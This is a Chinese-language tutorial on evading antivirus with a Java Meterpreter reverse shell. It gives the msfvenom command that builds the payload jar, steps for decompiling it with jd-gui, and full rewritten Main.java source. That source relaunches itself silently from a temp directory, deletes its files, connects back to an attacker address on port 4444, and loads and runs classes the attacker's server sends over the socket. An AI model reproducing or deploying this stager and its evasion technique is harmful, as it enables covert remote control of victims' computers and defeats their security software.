免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE

Shellcode-生成/上线

1.msf生成shellcode

命令：msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

2.msf设置监听

3.执行msf生成的shellcode jar包，成功上线

命令：java -jar msf.jar

4.上传到目标系统，直接被火绒检测出木马

java免杀-修改源码进行免杀

1.点击启动jd-gui，将生成的msf.jar拖入其中进行反编译，点击file—save all sources导出反编译后的内容

下载jd-gui：https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar

2.将导出的内容进行修改，然后在进行打包

修改后内容：

文件名：META-INF\MANIFEST.MF：


Manifest-Version: 1.0
Class-Path: .
Main-Class: Main

文件名：config：1

文件名:Main.java：修改其中的ip和端口


import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
 
public class Main
  extends ClassLoader
{
  private static final String JAVA = String.valueOf(System.getProperty("java.home")) + "/bin/java.exe";
  
  public static void main(String[] paramArrayOfString) throws Exception { runInBackground(); }
 
  
  public static void runInBackground() throws Exception {
    Class clazz = Main.class;
    File file1 = File.createTempFile("~spawn", ".tmp");
    file1.delete();
    File file2 = new File(String.valueOf(file1.getAbsolutePath()) + ".dir");
    file2.mkdir();
    File file3 = new File(file2, String.valueOf(clazz.getName().replace(".", "/")) + ".class");
    File file4 = new File(file2, "config");
    if (readFile(Main.class, "config").equals("1")) {
      writeFile(null, "config", file2, false, "0");
      writeFile(clazz, String.valueOf(clazz.getName().replace(".", "/")) + ".class", file2, true, null);
    } else {
      
      getShell();
    } 
    Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });
    Thread.sleep(2000L);
    File[] files = { file3, file4, file2 }; byte b; int i; File[] arrayOfFile;
    for (i = (arrayOfFile = files).length, b = 0; b < i; ) { File f = arrayOfFile[b]; f.delete(); b++; }
  
  }
  public static void writeFile(Class clazz, String name, File dir, boolean ifIsfile, String config) throws IOException {
    InputStream inputStream = null;
    if (ifIsfile) inputStream = clazz.getResourceAsStream("/" + name); 
    File file = new File(dir, name);
    file.getParentFile().mkdirs();
    FileOutputStream fileOutputStream = new FileOutputStream(file);
    byte[] b = new byte[4096];
    if (ifIsfile) {
      int i;
      while ((i = inputStream.read(b)) != -1) {
        fileOutputStream.write(b, 0, i);
      }
    } else {
      fileOutputStream.write(config.getBytes());
    } 
    if (inputStream != null) inputStream.close(); 
    fileOutputStream.close();
  }
  public static String readFile(Class clazz, String name) throws IOException {
    InputStream inputStream = clazz.getResourceAsStream("/" + name);
    StringBuffer str = new StringBuffer();
    byte[] b = new byte[1024];
    int i;
    while ((i = inputStream.read(b)) != -1) {
      str.append(new String(b, 0, i));
    }
    inputStream.close();
    return str.toString();
  }
  public static void getShell() throws Exception {
    InputStream inputStream1 = null;
    OutputStream outputStream = null;
    int j = (new Integer("4444")).intValue();
    String str4 = "192.168.206.129";
    Socket socket = null;
    if (str4 != null) {
      socket = new Socket(str4, j);
    }
    inputStream1 = socket.getInputStream();
    outputStream = socket.getOutputStream();
    (new Main()).bootstrap(inputStream1, outputStream);
  }
  
  private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
    try {
      Class clazz;
      DataInputStream dataInputStream = new DataInputStream(paramInputStream);
      int i = dataInputStream.readInt();
      do {
        byte[] arrayOfByte = new byte[i];
        dataInputStream.readFully(arrayOfByte);
        resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));
        i = dataInputStream.readInt();
      } while (i > 0);
      Object object = clazz.newInstance();
      clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });
    } catch (Throwable throwable) {
    }
  }
}